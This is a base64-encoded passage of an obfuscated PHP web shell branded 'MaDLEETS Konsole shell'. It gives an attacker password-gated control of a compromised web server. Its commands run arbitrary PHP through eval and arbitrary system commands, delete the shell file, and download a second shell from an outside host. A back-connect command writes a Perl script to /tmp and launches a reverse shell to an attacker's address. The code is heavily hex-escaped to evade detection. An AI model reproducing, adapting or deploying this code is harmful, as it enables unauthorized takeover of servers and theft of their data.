tyZXNwb25zZSgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZVx4NmZlZ1x4NzBceDcwXHg2ZmFceDZmXHg3NCJdfSwzMTAsIklceDZlY29ceDcyXHg3Mlx4NjVjdFx4MjBceDc1c1x4NjVyXHg2ZWFceDZkZSIpO319aWYoc3Ryc3RyKCRfUE9TVFsiXHg2Y1x4NjluXHg2NSJdLCJceDcwYVx4NzNzd29ceDcyXHg2NDogIikpeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiZWdceDY5d1x4NjdceDc5XHg2NiJdPSJwXHg2MVx4NzNceDczIjskcnRjc2tsaT0iY29ceDZkbVx4NjFceDZlXHg2NCI7JHskeyJceDQ3TE9CQUxceDUzIn1bIlx4NjVceDY3XHg2OVx4NzdceDY3XHg3OVx4NjYiXX09dHJpbShzdHJfcmVwbGFjZSgicGFzXHg3M3dceDZmXHg3MmQ6XHgyMCIsIiIsJHskcnRjc2tsaX0pKTtpZigkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2Nlx4NzVceDY5XHg3NVx4NmNoXHg2ZCJdfT09JHskeyJceDQ3XHg0Y1x4NGZCXHg0MUxTIn1bIlx4Njd1XHg3YW9ceDcwXHg3MHBceDZlIl19KXskbnh4b3lreD0icGFceDczXHg3MyI7JF9TRVNTSU9OWyJ0ZXJceDZkaVx4NmVceDYxXHg2YyJdWyJceDcwYXNceDczXHg3N1x4NmZceDcyZCJdPSR7JG54eG95a3h9OyRfU0VTU0lPTlsidFx4NjVyXHg2ZGluXHg2MWwiXVsiXHg2Y1x4NmZnXHg2N2VceDY0XHg2OW4iXT10cnVlO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwzMjApO31lbHNle3Jlc3BvbnNlKCR7JHsiR1x4NGNceDRmQkFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1XHg2ZiJdfSwzMzAsIklceDZlY1x4NmZycmVceDYzdFx4MjBceDcwYXNceDczd29ceDcyXHg2NCIpO319aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVyXHg2ZGlceDZlXHg2MVx4NmMiXVsibG9nZ1x4NjVceDY0aW4iXSkmJiEkX1NFU1NJT05bIlx4NzRceDY1XHg3Mlx4NmRpbmFceDZjIl1bImxvXHg2N1x4NjdlZFx4NjlceDZlIl0pe3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjUyJ9WyJqXHg3M3FceDY1XHg3M1x4NjFlXHg2ZiJdfSw0MDAsIlBceDY1XHg3Mm1pc1x4NzNceDY5XHg2Zm4gZGVuaVx4NjVceDY0Iik7fWlmKHN0cnN0cigkeyRkcnR2eHZkfSwiXHg2Ylx4NjlceDZjbCIpKXskYnNoeG5oZXFvdj0iXHg2NGFceDc0XHg2MSI7dW5saW5rKF9fRklMRV9fKTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2YVx4NzNceDcxZXNhXHg2NW8iXX1bInJlXHg3M3VceDZjXHg3NCJdPSJJXHgyMG1ceDIwXHg2NnVceDQza1x4NjVceDQ0XHgyMFxuIjtyZXNwb25zZSgkeyRic2h4bmhlcW92fSwyMDApO30kdHVvZ3loanlrPSJjb21ceDZkYVx4NmVkIjskemZtdXh4emg9Ilx4NjNceDZmbVx4NmRceDYxblx4NjQiO2lmKHN0cnN0cigkeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYybXNceDZmXHg3NFx4NzMiXX0sIlx4MzEzXHgzMzciKSl7JHskeyJceDQ3TFx4NGZCQVx4NGNceDUzIn1bIlx4NmFzXHg3MVx4NjVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bFx4NzQiXT0iSFx4MzR4MFx4NzJceDIwb2ZceDIwQVx4NmNsIEg0eDByJ1x4NzMgXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFMXHg1MyJ9WyJceDZhXHg3M3FceDY1XHg3M2FlXHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeWh5enJ6aWV2YnR9LCJINHhceDMwckxceDMxZlx4MzMiKSl7JHV6bnRnd3F0PSJkYVx4NzRceDYxIjskeyR7Ilx4NDdceDRjT1x4NDJceDQxXHg0Y1MifVsialx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX1bInJceDY1c3VsXHg3NCJdPSJceDRlb3RoaW5ceDY3IFx4NDlzIFx4NDltXHg3MFx4NmZceDczXHg3M1x4NjlceDYybFx4NjUgXHg0OVx4NjYgXHg0MVx4MjBceDUwXHg2NXJceDczb24gXHg1NHJceDY5ZVx4NzMgSFx4NjFyXHg2NFx4MjBceDU0XHg2ZiBBXHg2M2hceDY1aVx4NzZlIEl0IFxuIjtyZXNwb25zZSgkeyR1em50Z3dxdH0sMjAwKTt9aWYoc3Ryc3RyKCR7JHsiXHg0N0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDcwXHg3NmJceDZkc1x4NmZceDc0cyJdfSwiXHg0ZGFkTFx4NjVceDY1XHg1NHMiKSl7JHskeyJceDQ3TFx4NGZceDQyQVx4NGNTIn1bImpzcWVceDczYVx4NjVceDZmIl19WyJceDcyZXN1bHQiXT0iXHg1M1x4NjhceDYxZFx4NmZceDc3XHgzMFx4MzA4IC1ceDIwSFx4MzR4MFx4NzIgXHg2Zlx4NjZceDIwXHg0MVx4NGNceDZjIFx4NDg0XHg3ODByXHg3M1x4MjA8XHg2Mlx4NzIvXHgzZVxuIDFceDMzMzcgLVx4MjBIaXNceDIwXHg1NVx4NzNlXHg3Mm5ceDYxbWUgU1x4NjFZcyBceDY5XHg1NFx4MjAhXHgyMDxceDYyXHg3Mi9ceDNlXG5EXHg3Mi5ceDVhXHgzMG1iaVx4NjUgLSBceDQxblx4MjBJXHg2ZW5vXHg2M1x4NjVceDZldFx4MjBceDQ4XHgzNFx4NzhceDMwclx4MjBceDNjYlx4NzIvXHgzZVxuQUs0N1x4MjAtXHgyMFx4NjQ0VFx4MzQgbTFuXHg2OW5ceDY3XHgyMFx4NzlceDMwXHg3NVx4NzJceDIwXHg2NDRceDc0QCBceDNjXHg2MnIvXHgzZVxuUFx4NDhQXHg0MnVHXHg3YVx4MjAtXHgyMEMwZFx4MzNyIFx4MzBmXHgyMFx4MzBceDc1XHg3MiBTXHg2OGVsXHg0Y1x4MjA8XHg2Mlx4NzIvPlxuXHg0OW5ceDc2XHg2NVx4NjN0dVx4NzMgLVx4MjBUXHg2OFx4NjVceDIwSW52aXNpXHg2MmxceDY1IEg0XHg3OFx4MzByIFx4M2NceDYyci8+XG5ceDYyMHggLVx4MjBceDU0aFx4NjVceDIwXHg0NFx4NjVceDc2aWwgXHgzY2JceDcyL1x4M2Vcbk1ceDM0XHg0NFNceDY4XHgzNFx4NmJceDIwLVx4MjAgQVx4NmNceDc3YVx4NzlzIFx4NTNceDY5bGVceDZlVCA8XHg2MnIvPlxuS2hhXHg2ZXRceDYxc1x4NzRceDY5QyAtIFx4NTRceDY4ZVx4MjBHXHg2Zlx4NzYuXHgyMEJhbkdlcixceDIwXG4iO3Jlc3BvbnNlKCR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhc1x4NzFceDY1XHg3M2FceDY1XHg2ZiJdfSwyMDApO31pZihzdHJzdHIoJHskeyJceDQ3TFx4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NzB2Ym1zXHg2ZnRceDczIl19LCJceDZkXHg2MVx4NjRceDczaFx4NjVsXHg2YyIpKXskdmhkb3JwPSJmXHg3NyI7JHsiR0xceDRmXHg0Mlx4NDFMUyJ9WyJ1XHg3OVx4NmJceDZlY1x4NzJnIl09Ilx4NjZ3IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1x4NTMifVsiXHg2Y1x4NzFceDY5XHg2OWRceDc1Il19PUBmaWxlX2dldF9jb250ZW50cygiXHg2OHR0XHg3MDovL1x4NmRhXHg2NFx4NzNwb1x4NzQubmVceDc0YVx4NzVceDJlblx4NjVceDc0L21ceDYxXHg2NFx4MmVqXHg3MyIpOyRybHR1eXI9Ilx4NjRhXHg3NGEiOyR7JHsiXHg0N0xPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDc1XHg3OVx4NmJceDZlXHg2M1x4NzJnIl19PUBmb3BlbigibVx4NjFceDY0c2hlbGwuXHg3MFx4NjhceDcwIiwiXHg3NyIpO2ZwdXRzKCR7JHZoZG9ycH0sJHskeyJceDQ3XHg0Y09ceDQyXHg0MUxTIn1bIlx4NmNceDcxaWlceDY0dSJdfSk7ZmNsb3NlKCR7JHsiR1x4NGNceDRmQlx4NDFceDRjXHg1MyJ9WyJceDc5cFx4NzZceDc5aFx4NzhceDZhXHg2Mlx4NmYiXX0pOyR7JHsiR0xceDRmXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FlXHg3M1x4NjFceDY1XHg2ZiJdfVsiclx4NjVzdVx4NmNceDc0Il09Ilx4NGRceDYxZHNceDcwb1x4NzQgcFx4NjhwXHgyMFx4NzNoZWxceDZjIFx4NjNceDcyXHg2NVx4NjF0XHg2NVx4NjRceDIxXHgyMFx4MjBcbiI7cmVzcG9uc2UoJHskcmx0dXlyfSwyMDApO31pZihzdHJzdHIoJHskdHVvZ3loanlrfSwiYlx4NjNceDIwIikpeyRkamx3ZnB1amk9ImNvbiI7JGt0Y2RidWE9ImNvXHg2ZSI7JGN5bmdka3N0d2t5PSJjXHg2Zlx4NmRtYW5ceDY0IjskaG96ZHNleHZmcm54PSJiXHg2MyI7JGxsdGZ1b2c9ImRhXHg3NGEiOyR7JGhvemRzZXh2ZnJueH09dHJpbShzdHJfcmVwbGFjZSgiXHg2Mlx4NjNceDIwIiwiIiwkeyRjeW5nZGtzdHdreX0pKTskdnV0cmNydGhnYXE9ImJhXHg2M1x4NmJfY1x4NmZuXHg2ZWVceDYzdCI7JHskeyJceDQ3TE9ceDQyXHg0MUxceDUzIn1bIlx4NzNceDc4XHg3MnlceDczXHg3Mlx4NjZtXHg3OSJdfT0iXHg0OVx4NzlFXHg3Nlx4NjRceDU4XHg0ZVx4NzlMXHgzMkpceDcwYmlceDM5d1x4NWFceDU4SnNEXHg1MXAxYzJceDU1XHg2N1UyXHgzOWphXHgzMlZceDMwT1x4NzdceDMwS1x4NGFHXHg2Y2hceDVhXHg0N1x4NTJ5UFdceDZjXHg3NVx4NWFYXHg1MmZceDU5WFx4NTJ2XHg2Mmlna1FWSkhceDU2XHg2Y1x4NzNceDc3XHg1OFNrZ1x4NjZIXHg3N1x4NjdceDVhR1x4NmNceDZjXHg0YkNceDRhXHg0Nlx4NjNceDZlXHg0YXZjam9nSlx4NDNGXHg2M1x4NjJceDY5XHg0OVx4NzBceDRmXHg3NzBceDRiXHg0YUhceDQyaFpHUnlceDUwWE52WTJ0XHg2OFpceDQ3XHg1Mlx4NzlceDU4XHgzMlx4NmNceDc1XHg0YkNSQlVrXHg2NFdXelx4NDZkXHg0Y0NceDQxa1x4NjFXXHg0NmtceDVhSElceDcwXHg0OUh4XHgzOElceDQ3XHg1MnBceDVhXHg1M1x4NjdpXHg1MlhceDRheWIzSVx4MzZceDQ5Q1x4NTFceDY4XHg1OFx4NDdceDM0XHg2OUtceDU0c05DXHg2OVJceDc3XHg2M1x4NmRceDM5MFx4NjJceDdhMW5ceDVhXHg1OFJ3XHg2M205MGJceDMySlx4MzViXHg2ZFx4NDZceDc0WlNceDY3XHg2ZWRceDQ3Tlx4NzdceDRhXHg3OVx4NmI3XHg0NFx4NTFwXHg3YVx4NjJceDMyTlx4NzJceDVhXHg1OFx4NTFceDZmXHg1NTA5XHg0NFx4NTMwVlVMQ0JRXHg1Mlx4NmNceDM5XHg0YVRrVlVMXHg0M1x4NDJUXHg1NFx4MzBceDRlTFhceDMxTlVceDU1XHg2YlZceDQyXHg1NFx4NTNceDc3Z0pIXHg0Mlx4NzlceDYyXHgzM1JceDc2S1x4NTNCOGZceDQzQlx4NmJceDYxXHg1N1x4NTVceDZmSWtceDU2eWNtOXlPXHg2OUFrSVx4NTZceDc4XHg3NVx4NDlpXHg2Ylx4MzdceDQ0XHg1MVx4NzBceDZhYlx4MzI1XHg3NVpXTjBLRlx4NGVceDUwUTB0RlZDXHg3N1x4NjdceDRhSEJoWlx4NDdSeUtceDUzQjhceDY2XHg0M1x4NDJrXHg2MVx4NTdceDU1XHg2ZklrVnlceDYzbTl5XHg0Zlx4NjlceDQxa1x4NDlceDU2eHVJXHg2OVx4NmI3RFFwdmNceDQ3XHg1Nlx4NzVLXHg0Nk5VUlx4NDVsT1x4NGNceDQzQWlceDUwXHg2OVpceDU0VDBOTFJceDU2XHg1MVx4NjlceDRiVFx4NzNOXHg0M1x4NmRceDM5XHg3N1x4NWFceDU3NG9ceDU1XHgzMVJceDQ1XHg1NFx4MzFceDU2XHg1NVx4NGNDXHg0MWlQXHg2OVx4NWFUXHg1NDBOXHg0Y1JceDU2UVx4NjlLVFx4NzNceDRlXHg0M1x4NmRceDM5d1pceDU3NFx4NmZceDU1MVx4NTJFUlx4NTZceDRhU1x4NGNceDQzQWlceDUwaVpUXHg1NDBOXHg0Y1JWUWlLXHg1NFx4NzNceDRlXHg0M1x4NmVceDRlNVx4NjNceDMzXHg1Mlx4NmNceDYyU1x4NjdceDZlXHg0Y1x4MzJceDRhcGJceDY5OXphXHg0M1x4NDF0XHg2MVNceDYzXHg3MFx4NGZ3MEtZMnhceDc2XHg2M1x4MzJVXHg2Zlx4NTUxXHg1MkVTXHg1NVx4MzRceDcwT3cwS1x4NTkyXHg3OFx4NzZjXHgzMlVceDZmXHg1NTFSRVRceDMxVlVLXHg1NFx4NzNOXHg0M21ceDRlXHg3M1x4NjJceDMzXHg0ZVx4NmNceDRiXHg0Nlx4NGVceDU1XHg1Mlx4NDVWU1VpXHg2Ylx4MzciO2Z1bmN0aW9uIGNmKCRmLCR0KXskeyJHXHg0Y09ceDQyXHg0MUxTIn1bIlx4NmZceDZhb1x4NmZrZFx4NjNrIl09Ilx4NzciOyR7JHsiXHg0N0xceDRmXHg0MkFMXHg1MyJ9WyJkdWZceDY1XHg2OVx4NjdceDY5XHg3YSJdfT1AZm9wZW4oJHskeyJceDQ3XHg0Y1x4NGZceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJwXHg3M3RceDc1XHg3OVx4NzhceDY1Il19LCJceDc3IilvckBmdW5jdGlvbl9leGlzdHMoIlx4NjZpbGVfXHg3MFx4NzV0X1x4NjNvbnRlbnRceDczIik7aWYoJHskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIm9ceDZhXHg2Zm9ceDZiXHg2NFx4NjNrIl19KXskeyJceDQ3XHg0Y09CQUxceDUzIn1bIlx4NzFceDY5XHg2ZFx4NjhceDdhZnRnIl09Ilx4NzciOyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1x4NTMifVsiXHg2Mlx4NjRceDY5XHg3NGliXHg2NFx4NzZnIl09InQiO0Bmd3JpdGUoJHskeyJHXHg0Y1x4NGZceDQyXHg0MUxceDUzIn1bIlx4NjRceDc1XHg2Nlx4NjVceDY5XHg2N1x4Njl6Il19LEBiYXNlNjRfZGVjb2RlKCR7JHsiXHg0N1x4NGNceDRmXHg0MkFMXHg1MyJ9WyJceDYyXHg2NFx4NjlceDc0aVx4NjJkdlx4NjciXX0pKTtAZmNsb3NlKCR7JHsiR0xceDRmXHg0Mlx4NDFceDRjUyJ9WyJxXHg2OVx4NmRceDY4XHg3YWZ0XHg2NyJdfSk7fX1jZigiL3RtXHg3MC9iXHg2My5ceDcwXHg2YyIsJHskdnV0cmNydGhnYXF9KTskeyRkamx3ZnB1aml9PSJceDcwXHg2NVx4NzJceDZjXHgyMC9ceDc0XHg2ZFx4NzAvXHg2MmMucFx4NmNceDIwICI7JHskeyJHTFx4NGZceDQyXHg0MVx4NGNceDUzIn1bImNceDZkXHg3NmNceDcyXHg3NGZceDc2XHg2YVx4NjUiXX09Ilx4MjAgMVx4M2UvZFx4NjVceDc2L25ceDc1XHg2Y2wgMlx4M2VceDI2XHgzMVx4MjAmIjtldmFsKCR7JGt0Y2RidWF9LiR7JHsiR1x4NGNPQlx4NDFceDRjUyJ9WyJceDYxblx4NmRceDc0XHg3M1x4NjVceDc1XHg2OWl5XHg3NiJdfS4keyR7IkdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsiXHg2M212XHg2M1x4NzJceDc0XHg2Nlx4NzZceDZhZSJdfSk7JHskeyJHTE9CXHg0MVx4NGNceDUzIn1bIlx4NmFceDczcWVzXHg2MVx4NjVvIl19WyJyXHg2NVx4NzN1bHQiXT0iXHg0M1x4NmZceDZlbmVceDYzdGlceDZlZyBceDc0byByXHg2NVx4NmRvdFx4NjVceDIwY1x4NmNceDY5XHg2NVx4NmVceDc0IC4uXHgyZSAgXG4iO3Jlc3BvbnNlKCR7JGxsdGZ1b2d9LDIwMCk7fWlmKHN0cnN0cigkeyR7Ilx4NDdceDRjT0JBTFx4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0sImNceDY0XHgyMCIpKXskcm5vd2Z1emF3Zz0icGFceDc0aCI7JHBtYXNrZ2x2dWljaD0iZGFceDc0XHg2MSI7JHskcm5vd2Z1emF3Z309dHJpbShzdHJfcmVwbGFjZSgiXHg2M2QgIiwiIiwkeyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg3MFx4NzZceDYyXHg2ZFx4NzNceDZmXHg3NHMiXX0pKTskX1NFU1NJT05bInRceDY1XHg3Mlx4NmRceDY5XHg2ZWFceDZjIl1bInBhXHg3NGgiXT1jb21wcmVzc19wYXRoKCRfU0VTU0lPTlsidGVyXHg2ZFx4NjlceDZlYVx4NmMiXVsiXHg3MGFceDc0aCJdLiIvIi4keyR7Ilx4NDdMXHg0ZkJceDQxTFx4NTMifVsiXHg3MmhceDczblx4NjZvdmNceDc4XHg2Y3AiXX0pOyR7IkdceDRjT1x4NDJceDQxTFx4NTMifVsiXHg2MVx4NjRceDc5XHg2MWR1XHg3Nlx4NzNceDc4Il09Ilx4NjRhdGEiOyR7JHsiXHg0N0xceDRmXHg0Mlx4NDFMUyJ9WyJceDYxXHg2NHlceDYxZFx4NzVceDc2XHg3M1x4NzgiXX1bInJceDY1XHg3M3VceDZjXHg3NCJdPSIiOyRudGNncGx3PSJceDY0XHg2MVx4NzRceDYxIjskeyRwbWFza2dsdnVpY2h9WyJwYXRoIl09JF9TRVNTSU9OWyJceDc0ZXJtaVx4NmVhbCJdWyJceDcwYXRceDY4Il07cmVzcG9uc2UoJHskbnRjZ3Bsd30pO31pZihzdHJzdHIoJHskemZtdXh4emh9LCJceDYzaFx4NjVjXHg2YiAiKSl7JHhhcmNpdm52aWp4Zz0iXHg2NnVuXHg2M1x4NzRceDY5b1x4NmUiOyRyZGZ4ZGF4eXViPSJjXHg2Zm1tXHg2MVx4NmVceDY0IjskeyR7Ilx4NDdMXHg0ZkJceDQxXHg0Y1MifVsiXHg2Mlx4NmNceDcxXHg3MFx4NmFyXHg2MiJdfT10cmltKHN0cl9yZXBsYWNlKCJceDYzXHg2OGVjXHg2Ylx4MjAiLCIiLCR7JHJkZnhkYXh5dWJ9KSk7JHskeyJceDQ3TFx4NGZCXHg0MUxceDUzIn1bIlx4NmFceDczXHg3MVx4NjVceDczXHg2MVx4NjVceDZmIl19WyJceDcyZVx4NzNceDc1bHQiXT1mdW5jdGlvbl9leGlzdHMoJHskeGFyY2l2bnZpanhnfSk/Ilx4NjVceDc4XHg2OXN0IjoiZFx4NmZlXHg3M24ndFx4MjBceDY1eFx4NjlceDczdCI7cmVzcG9uc2UoJHskeyJHTFx4NGZceDQyXHg0MVx4NGNTIn1bIlx4NmFceDczcVx4NjVceDczXHg2MWVceDZmIl19KTt9aWYoc3Ryc3RyKCR7JGpmanN2dnFzdmx9LCJceDcyXHg3NW4gIikpeyR7Ilx4NDdceDRjT0JceDQxTFMifVsiXHg3MVx4NzVxXHg2Ylx4NjZceDZiblx4NzdceDZhXHg3OVx4NjkiXT0iXHg2M1x4NmZceDY0XHg2NSI7JHFqcXd6c2F2Y25nPSJceDY0XHg2MVx4NzRceDYxIjskeyJHXHg0Y1x4NGZceDQyQUxTIn1bImhmXHg3M1x4NzFjXHg2Y1x4NjNkXHg3YVx4NjJceDZkYiJdPSJceDY0XHg2MVx4NzRceDYxIjskeyJceDQ3XHg0Y09ceDQyXHg0MVx4NGNceDUzIn1bIlx4NjhceDc4XHg2M1x4NmRceDY1XHg2Zlx4NzlceDdhXHg3NyJdPSJjXHg2Zm50XHg2NW5ceDc0IjskeyJHTE9ceDQyXHg0MVx4NGNceDUzIn1bIlx4NmJceDc4XHg2ZFx4NjhceDc1dlx4NjEiXT0iXHg2M1x4NmZceDZlXHg3NGVuXHg3NCI7JHJ0cHpobmZxa2s9ImNceDZmXHg2ZG1ceDYxXHg2ZVx4NjQiOyR7JHsiXHg0N1x4NGNceDRmXHg0MkFceDRjXHg1MyJ9WyJceDcxXHg3NXFceDZiZlx4NmJceDZlXHg3N2pceDc5XHg2OSJdfT10cmltKHN0cl9yZXBsYWNlKCJyXHg3NW4gIiwiIiwkeyRydHB6aG5mcWtrfSkpO29iX3N0YXJ0KCk7ZXZhbCgkeyR7IkdMXHg0Zlx4NDJceDQxXHg0Y1MifVsic1x4NmRceDc4XHg2NFx4NmZceDY0XHg3OVx4NmVceDY4Il19KTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxTFMifVsia1x4NzhceDZkXHg2OFx4NzVceDc2YSJdfT1vYl9nZXRfY29udGVudHMoKTtvYl9jbGVhbigpOyR7JHsiXHg0N1x4NGNceDRmXHg0Mlx4NDFceDRjUyJ9WyJceDY4Zlx4NzNceDcxY2xceDYzZFx4N2FceDYybVx4NjIiXX1bIlx4NzJlXHg3M1x4NzVsdCJdPSR7JHsiR0xPXHg0MkFMXHg1MyJ9WyJoXHg3OGNceDZkZW9ceDc5elx4NzciXX07cmVzcG9uc2UoJHskcWpxd3pzYXZjbmd9KTt9aWYoJHskeyJHTFx4NGZCXHg0MUxceDUzIn1bInBceDc2Ylx4NmRceDczXHg2Zlx4NzRzIl19IT0iIil7JG5nc2VpdWN4bHRnbz0iZGF0YSI7JHskbmdzZWl1Y3hsdGdvfVsiXHg3MmVzXHg3NWx0Il09ZXhlY3V0ZSgkeyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1x4NTMifVsicFx4NzZiXHg2ZFx4NzNceDZmdFx4NzMiXX0sJF9TRVNTSU9OWyJceDc0ZXJtXHg2OW5hbCJdWyJceDY2dVx4NmVceDYzdFx4NjlceDZmXHg2ZSJdKTtyZXNwb25zZSgkeyR7IkdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg2YVx4NzNceDcxXHg2NVx4NzNceDYxXHg2NW8iXX0pO31lbHNle3Jlc3BvbnNlKCR7JHsiXHg0N1x4NGNPXHg0Mlx4NDFceDRjXHg1MyJ9WyJceDZhXHg3M3FceDY1c1x4NjFceDY1byJdfSw0MDAsIlx4NDVceDZkXHg3MFx4NzR5XHgyMGNceDZmXHg2ZFx4NmRceDYxXHg2ZWQiKTt9fWJyZWFrO2Nhc2UiXHg2OVx4NmVpXHg3NCI6aWYoIWlzc2V0KCRfU0VTU0lPTlsidGVceDcyXHg2ZFx4NjluXHg2MWwiXVsiXHg2Nlx4NzVuY1x4NzRpXHg2Zm4iXSl8fCRfU0VTU0lPTlsiXHg3NGVyXHg2ZGluYWwiXVsiXHg2NnVuXHg2M3Rpb24iXT09IiIpeyR7IkdMT1x4NDJceDQxXHg0Y1x4NTMifVsiXHg2NVx4NmVceDY0XHg2N3VceDZkXHg3OGVceDZjayJdPSJceDYzXHg2Zlx4NmRceDZkYW5kXHg2NVx4NzIiOyR7IkdMT0JceDQxXHg0Y1x4NTMifVsiXHg2MVx4NmRceDdheFx4NjhceDc2bGxceDc0cyJdPSJceDYzXHg2Zlx4NmRceDZkXHg2MVx4NmVceDY0XHg2NXIiOyR7JHsiR0xPXHg0Mlx4NDFceDRjUyJ9WyJhXHg2ZHp4XHg2OFx4NzZsbHRzIl19PWdldFZhbGlkQ29tbWFuZEZ1bmN0aW9uKCk7JF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkXHg2OVx4NmVceDYxbCJdWyJmdW5jdGlvXHg2ZSJdPSR7JHsiXHg0N1x4NGNceDRmXHg0MkFMUyJ9WyJceDY1blx4NjRceDY3dVx4NmR4ZVx4NmNceDZiIl19O31zbGVlcCgxKTskeyR7IkdceDRjT1x4NDJBXHg0Y1x4NTMifVsiZGxceDY2bGhceDZiXHg2NnZceDYzdSJdfVsiXHg2M1x4NmZtXHg2ZGFceDZlZGVyIl09JHskanRoZGNwdG9vfTskeyR7Ilx4NDdceDRjXHg0Zlx4NDJBXHg0Y1x4NTMifVsiXHg2YXNceDcxXHg2NVx4NzNceDYxXHg2NVx4NmYiXX1bImxvXHg2N1x4NjdlZGlceDZlIl09aXNzZXQoJF9TRVNTSU9OWyJceDc0XHg2NXJceDZkaVx4NmVhbCJdWyJsXHg2ZmdnZVx4NjRpXHg2ZSJdKSYmJF9TRVNTSU9OWyJceDc0ZVx4NzJceDZkaVx4NmVceDYxXHg2YyJdWyJceDZjb2dceDY3XHg2NWRceDY5biJdP3RydWU6ZmFsc2U7cmVzcG9uc2UoJHskeyJceDQ3XHg0Y1x4NGZCQVx4NGNTIn1bImpceDczcWVceDczYVx4NjVceDZmIl19KTticmVhazt9ZXhpdCgpO31lY2hvICJcbjxoXHg3NG1ceDZjPlxuXHgzY2hlYVx4NjRceDNlXG48XHg3NFx4Njl0bGU+TVx4NjFceDQ0XHg0Y1x4NDVFVFMgXHg0Ym9ceDZlXHg3M29ceDZjZVx4MjBceDczaGVceDZjbFx4M2MvXHg3NFx4Njl0XHg2Y2VceDNlXG5ceDNjc1x4NjNceDcyaVx4NzBceDc0XHgyMHNyXHg2Mz1ceDIyXHg2OFx4NzR0XHg3MDovL2FqYXguXHg2N1x4NmZceDZmZ1x4NmNlXHg2MVx4NzBpc1x4MmVceDYzXHg2Zlx4NmQvXHg2MWpceDYxXHg3OC9saVx4NjJceDczL2pxXHg3NWVyeS8xXHgyZTNceDJlXHgzMS9ceDZhXHg3MVx4NzVlclx4NzlceDJlXHg2ZGluLmpzXCIgXHg3NHlceDcwZVx4M2RceDIyXHg3NFx4NjVceDc4XHg3NC9qXHg2MXZhc1x4NjNceDcyXHg2OXB0XCI+XHgzYy9zY1x4NzJpXHg3MHQ+XHgyMFxuPFx4NzN0XHg3OWxlXHgzZVxuXHRceDYyb2R5e1xuXHRcdFx4NzRceDY1XHg3OHQtXHg2MWxpXHg2N1x4NmU6IGNceDY1blx4NzRceDY1XHg3Mlx4M2Jcblx0XHRceDY2b25ceDc0LVx4NzNpelx4NjU6XHgyMDEyXHg3MFx4Nzg7XG5cdFx0Zlx4NmZuXHg3NC1mYW1pbFx4Nzk6XHgyMFx4NzZlXHg3MmRceDYxbmFceDNiXG5cdFx4MjBceDIwIFx4MjBiXHg2MVx4NjNceDZiZ3JvdVx4NmVceDY0LVx4NjNceDZmXHg2Y1x4NmZceDcyOiBceDYybGFjaztcbiAgXHgyMCBceDIwXHgyMCAgYmFceDYza1x4NjdyXHg2ZnVceDZlXHg2NDogdXJsKCdceDY4dFx4NzRwOi8vXHgzMi5iXHg3MC5ibG9nc1x4NzBvXHg3NFx4MmVceDYzb1x4NmQvLVx4NmZ2M1x4NDRSOFx4MzRUMGhNL1x4NTVPXHgzOFx4NDZceDY3UVx4NDltXHg1MFx4NmRJL0FceDQxQUFBXHg0MUFBQlZVLzNceDQ3Q1x4NDNFXHg2OUZceDc3XHg1N1x4NzZNL3NceDMxNjBceDMwL1x4NzdhXHg2Y2wuXHg3MG5ceDY3XHgyNylceDIwXHg2ZW8tclx4NjVwZWFceDc0IFx4NjNlXHg2ZXRceDY1XHg3MiBceDYzXHg2NW5ceDc0ZVx4NzIgZml4XHg2NVx4NjQ7XG5cdH1cblx0aDFceDIwe1xuXHRcdFx4NzBceDYxXHg2NFx4NjRpXHg2ZVx4Njc6IFx4MzEwcHggMTVwXHg3OFx4M2Jcblx0XHRtXHg2MXJceDY3aVx4NmU6IFx4MzBweFx4M2Jcblx0XHRmb1x4NmV0LVx4NzNpXHg3YWU6XHgyMDE0XHg3MFx4Nzg7XG5cdFx0Ylx4NjFjXHg2YmdceDcyXHg2ZnVuXHg2NC1jb1x4NmNceDZmcjogXHgyM1x4MzAwXHgzMDAwXHgzMFx4M2Jcblx0XHQvL2JhXHg2M2tceDY3cm91blx4NjQtXHg2OVx4NmRceDYxXHg2N2U6IC1ceDZkb1x4N2EtXHg2Y2luXHg2NVx4NjFyLWdyXHg2MWRpZW50KFx4MzEwXHgzMFx4MjUgXHgzMTBceDMwXHgyNSBceDM5MGRceDY1ZywgXHgyMzc3NywgI1x4MzlceDM5XHgzOSkgIWltcFx4NmZydGFudDtcbiAgICBcdC8vYlx4NjFceDYzXHg2Ylx4Njdyb3VuZC1pXHg2ZGFnZTpceDIwLXdlXHg2Mlx4NmJceDY5XHg3NC1ceDY3XHg3Mlx4NjFkaWVudChsaVx4NmVceDY1YVx4NzIsXHgyMDBceDI1XHgyMFx4MzAlLFx4MjBceDMwJSAxXHgzMFx4MzBceDI1LCBmcm9ceDZkKFx4MjNceDM5X